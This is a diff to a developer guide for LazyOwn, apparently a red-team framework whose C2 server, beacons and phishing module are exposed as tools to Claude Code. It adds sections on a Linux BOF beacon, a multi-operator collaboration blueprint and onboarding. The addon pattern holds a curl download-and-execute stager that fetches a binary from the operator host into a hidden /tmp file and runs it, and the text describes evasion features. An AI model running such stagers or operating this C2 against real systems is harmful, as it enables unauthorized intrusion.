@@ -17,9 +17,9 @@ LazyOwn is a professional **red team / penetration testing framework**. It bundl
1717
1818- A ** cmd2-based interactive CLI** (` lazyown.py ` ) with 333+ attack commands and
1919 200+ aliases covering the full kill chain.
20- - A ** Flask + Jinja2 + Socket.IO C2 server** (` lazyc2.py ` ) with 84 routes, 54
21- templates, malleable HTTP profiles, an XOR-stub Go beacon, and a phishing
22- module backed by SQLite + Groq AI.
20+ - A ** Flask + Jinja2 + Socket.IO C2 server** (` lazyc2.py ` ) with 84+ routes, 55+
21+ templates, malleable HTTP profiles, an XOR-stub Go beacon, a multi-operator
22+ collaboration layer ( ` /collab/ ` ), and a phishing module backed by SQLite + Groq AI.
2323- A shared ** utility layer** (` utils.py ` ) with ~ 138 helpers: payload loading, ANSI
2424 output, prompt rendering, key/cert generation, NVD/ExploitAlert/PacketStorm
2525 scrapers, ARP spoofing primitives, etc.
@@ -29,6 +29,9 @@ LazyOwn is a professional **red team / penetration testing framework**. It bundl
2929- An ** extension layer** : ` lazyaddons/*.yaml ` (declarative tool integration),
3030 ` plugins/*.lua ` (Lua scripting via lupa), and ` tools/*.tool ` (pwntomate
3131 service-triggered jobs).
32+ - A ** Linux BOF beacon family** (` lazyaddons/blacksandbeacon.yaml ` +
33+ ` lazyaddons/blacksandbeacon_bof.yaml ` ) — the only open-source C2 with
34+ Linux Beacon Object File support via ELF ` dlopen ` injection.
3235
3336The ** MCP layer sits on top of everything** and exposes ~ 95 ` lazyown_* ` tools to
3437Claude Code. The CLI uses ** cmd2** . The C2 uses ** Flask** with ** Jinja2** .
@@ -94,6 +97,7 @@ change that affects `skills/lazyown_mcp.py` or modules imported at startup.
9497| ` tools/ ` | pwntomate ` .tool ` files auto-applied to nmap-discovered services. |
9598| ` external/ ` | Vendored upstreams (atomic-red-team, etc.). |
9699| ` lazyscripts/ ` | ` .ls ` scripts — small recipes loaded with ` run_script ` . |
100+ | ` QUICKSTART.md ` | Canonical 5-minute onboarding guide (clone → wizard → recon → C2 → beacon → collab). ** Do not auto-generate** ; update manually when the operator flow changes. |
97101
98102---
99103
@@ -257,6 +261,11 @@ implementation of the CLI.
257261 and a JSON dashboard at ` /api/dashboard ` .
258262- Blueprints registered at runtime: ` phishing_bp ` , ` dashboard_bp ` (under
259263 ` /dashboard ` ), ` collab_bp ` (under ` /collab ` ).
264+ - Before registering ` collab_bp ` , ` lazyc2.py ` injects
265+ ` app.config["LAZYOWN_CONFIG"] = config ` so the blueprint can read ` lhost ` and
266+ ` c2_port ` via ` current_app.config.get("LAZYOWN_CONFIG") ` without importing
267+ ` utils.py ` directly. This is the approved pattern for blueprints that need
268+ payload values — do not pass them as module-level globals.
260269- Auth: HTTP Basic via ` requires_auth ` (uses ` c2_user ` / ` c2_pass ` ) plus
261270 ` flask-login ` for the operator UI.
262271- DNS server: ` dnslib ` -based custom resolver started in a daemon thread.
@@ -397,6 +406,8 @@ Conventions (consumers depend on these exact names):
397406| ` policy_facts.json ` | policy engine | dashboard |
398407| ` captured_images/ ` | decoy site | operator review |
399408| ` keyword_fallback_index.json ` | rag fallback when ChromaDB absent | rag_query |
409+ | ` blacksandbeacon ` | ` blacksandbeacon ` addon (` make ` ) | collab_join delivery, manual drop on target |
410+ | ` bof_loader ` | ` blacksandbeacon_bof ` addon (` make bof ` ) | manual BOF delivery to live beacon session |
400411
401412Before any tool runs:
4024131 . ` ls sessions/ ` to see what already exists.
@@ -586,6 +597,10 @@ lazyown_hive_spawn(goal="…", n_drones=4, roles=["recon","exploit","cred","late
586597lazyown_generate_report(target="10.10.11.5", include_timeline=True)
587598lazyown_report_update(action="auto_fill")
588599lazyown_misp_export()
600+
601+ # Multi-operator collaboration (CLI)
602+ collab_join <handle> # print team dashboard URL + SSE endpoint
603+ collab_join alice --curl # also print curl SSE command
589604```
590605
591606---
@@ -705,8 +720,157 @@ Requires `pip install textual` (added to `install.sh` and `requirements`).
705720
706721---
707722
723+ ## 15c. Beacon family — Linux BOF (` blacksandbeacon ` )
724+
725+ LazyOwn ships two beacon lines. Pick the right one for the engagement:
726+
727+ | Beacon | File | OS | BOF | Notes |
728+ | --------| ------| ----| -----| -------|
729+ | Go beacon | built-in (` do_lazymsfvenom ` , ` lazyc2 ` ) | Win/Lin/Mac | No | XOR-encoded two-stage; AES-256 C2 channel; Garble-obfuscated |
730+ | Windows C beacon | ` lazyaddons/beacon.yaml ` | Windows | Yes (Early Bird APC) | Pairs with malleable C2 profile; NT Native API |
731+ | ** Linux C beacon** | ** ` lazyaddons/blacksandbeacon.yaml ` ** | ** Linux** | ** Yes (ELF dlopen)** | ** Only open-source Linux BOF; direct syscalls** |
732+ | Linux BOF loader | ` lazyaddons/blacksandbeacon_bof.yaml ` | Linux | — | Delivers compiled ` .so ` BOF to a live beacon session |
733+ | ARM beacon | ` blackzincbeacon ` (external) | ARM/IoT | Planned | Embedded targets |
734+
735+ ### Linux BOF contract
736+
737+ - BOFs compile as position-independent ELF shared objects:
738+ ` gcc -shared -fPIC -nostartfiles -o mybof.so mybof.c `
739+ - The ` datap ` API (` BeaconDataParse ` , ` BeaconDataInt ` , ` BeaconDataExtract ` ,
740+ ` BeaconPrintf ` , ` BeaconOutput ` ) is source-compatible with Windows BOF — port
741+ by replacing Win32 calls with Linux syscalls or libc equivalents.
742+ - The beacon loads BOFs at runtime via ` dlopen ` ; no new process, no disk write
743+ after delivery.
744+
745+ ### Addon YAML pattern (for both beacons)
746+
747+ ``` yaml
748+ install_command : make
749+ execute_command : git restore . ; git pull ; make && cp <binary> ../../../sessions/<binary>
750+ lazycommand : curl -sk "http://{lhost}:{lport}/<binary>" -o /tmp/.svc && chmod +x /tmp/.svc && /tmp/.svc &
751+ ` ` `
752+
753+ Key rules:
754+ - Always ` git restore . ; git pull` before `make` so the binary is fresh.
755+ - Stage artefacts to `sessions/<binary>` — the C2 serves them from there.
756+ - ` lazycommand` uses `{lhost}` and `{lport}` placeholders — never hardcode.
757+ - ` download_file` names the path on the target side (for reference in docs only).
758+
759+ # ## Tests
760+
761+ `tests/test_blacksandbeacon_addon.py` — 59 tests covering : YAML structure,
762+ required fields, tool section keys, path safety (no `../` traversal), category,
763+ params contract, `{lhost}`/`{lport}` template placeholders, `sessions/` staging,
764+ ` git restore + pull` before build, description quality, no hardcoded IPs/ports.
765+
766+ ---
767+
768+ # # 15d. Multi-operator collaboration — `collab_bp`
769+
770+ ` modules/collab_bp.py` is a Flask blueprint providing real-time team server
771+ functionality. It activates automatically when `lazyc2.py` starts.
772+
773+ # ## Architecture (SOLID)
774+
775+ | Class | Responsibility |
776+ |-------|---------------|
777+ | `EventBus` | In-process SSE pub/sub; per-subscriber `Queue`; replays last 20 events on join |
778+ | `LockManager` | Advisory per-target locks with TTL expiry; prevents two operators running tools against the same host |
779+ | `OperatorRegistry` | Tracks connected operators; marks stale (> 90 s without heartbeat) as inactive |
780+ | `ColabEvent` | Value object : ` type` , `payload`, `operator`, `ts`, `id` |
781+
782+ Module-level singletons (`_bus`, `_locks`, `_registry`) are injected into the
783+ blueprint via closure. Other modules broadcast events with :
784+ ` ` ` python
785+ from collab_bp import publish_event
786+ publish_event(type="finding", payload={"target": "...", "detail": "..."}, operator="alice")
787+ ` ` `
788+
789+ # ## Endpoints
790+
791+ | Endpoint | Method | Description |
792+ |---|---|---|
793+ | `/collab/` | GET | Full-screen browser dashboard (`templates/collab.html`) |
794+ | `/collab/stream?operator=<name>` | GET (SSE) | Real-time event stream; keepalive every 15 s |
795+ | `/collab/operators` | GET | Active operator list + join timestamps |
796+ | `/collab/publish` | POST | Broadcast a structured event (type, payload, operator) |
797+ | `/collab/lock` | POST | Acquire advisory target lock (body : target, operator, ttl_secs) |
798+ | `/collab/unlock` | POST | Release target lock |
799+ | `/collab/locks` | GET | All active locks with operator and TTL |
800+ | `/collab/history?n=N` | GET | Last N events (max 500) |
801+
802+ # ## `templates/collab.html`
803+
804+ Extends `base.html`. Renders : operator presence panel, target lock UI (acquire /
805+ release), real-time event feed (SSE), chat broadcast input, and a copyable join
806+ URL. Reads `c2_host` and `join_url` from the Flask context injected by the UI
807+ route. No hardcoded IPs — all values come from `payload.json` via
808+ ` app.config["LAZYOWN_CONFIG"]` .
809+
810+ # ## `LAZYOWN_CONFIG` injection pattern
811+
812+ ` lazyc2.py` sets `app.config["LAZYOWN_CONFIG"] = config` immediately before
813+ `app.register_blueprint(collab_bp, ...)`. The blueprint reads it with :
814+ ` ` ` python
815+ cfg = current_app.config.get("LAZYOWN_CONFIG", {})
816+ lhost = cfg.get("lhost", "localhost") if hasattr(cfg, "get") else getattr(cfg, "lhost", "localhost")
817+ ` ` `
818+ The `hasattr` guard handles both plain `dict` (tests) and `Config` objects
819+ (production). **This is the canonical pattern for blueprints that need payload
820+ values.** Do not pass `config` as a module-level import from `lazyc2.py`.
821+
822+ # ## `do_collab_join` CLI command
823+
824+ Added to `lazyown.py`, category `10. Command & Control`. Usage :
825+ ` ` `
826+ collab_join [handle] [--curl]
827+ ` ` `
828+ Reads `lhost` and `c2_port` from `self.params` and prints the team dashboard
829+ URL, SSE stream URL, and all REST endpoints. `--curl` adds a ready-to-paste
830+ ` curl --insecure -N` command for terminal SSE consumption.
831+
832+ # ## Tests
833+
834+ `tests/test_collab_and_onboarding.py` — 67 tests covering : ` EventBus`
835+ (publish/subscribe, history replay, queue overflow), `LockManager` (acquire,
836+ deny, re-acquire, TTL expiry, release), `OperatorRegistry` (join, leave,
837+ heartbeat, stale expiry), all 8 Flask HTTP endpoints, `collab.html` template
838+ content, `QUICKSTART.md` completeness, wizard DIP contract, and `collab_join`
839+ CLI command structure.
840+
841+ ---
842+
843+ # # 15e. Onboarding — `QUICKSTART.md` + `wizard`
844+
845+ # ## `QUICKSTART.md`
846+
847+ Canonical operator onboarding document. **Manually maintained** — update it
848+ whenever the operator flow changes (new step required, command renamed, etc.).
849+ Structure :
850+ 1. Prerequisites (OS, Python, SecLists)
851+ 2. Clone + `bash install.sh`
852+ 3. `wizard` — 7-step guided setup (rhost, lhost, domain, device, os_id, api_key, wordlists)
853+ 4. Recon (`ping` → `lazynmap` → `auto_populate` → `facts_show`)
854+ 5. C2 (`fast_run_as_r00t.sh` or `lazyc2`)
855+ 6. First shell (Go beacon or `blacksandbeacon` Linux C beacon)
856+ 7. Invite teammates (`collab_join`)
857+ 8. Command reference table + key files table + troubleshooting
858+
859+ # ## `cli/wizard.py` contract
860+
861+ The wizard must **never** import `lazyown.py` or `lazyc2.py` (Dependency
862+ Inversion). It takes a `params : dict` and a `save: Callable` — it never
863+ touches `payload.json` directly. All output goes through `rich`. Auto-detects
864+ ` lhost` from the routing table and SecLists paths from known candidate dirs.
865+
866+ Run from the CLI : ` wizard` or `wizard --check` (readiness summary only).
867+ The shell calls `wizard` automatically on first launch when `rhost` is unset.
868+
869+ ---
870+
708871# # 16. Read these next
709872
873+ - ` QUICKSTART.md` — **start here for a new operator session** — 5-minute clone-to-shell guide.
710874- ` README.md` — public-facing feature list (long, marketing-flavoured).
711875- ` COMMANDS.md` — exhaustive list of every CLI command.
712876- ` UTILS.md` — auto-generated reference for `utils.py`.
0 commit comments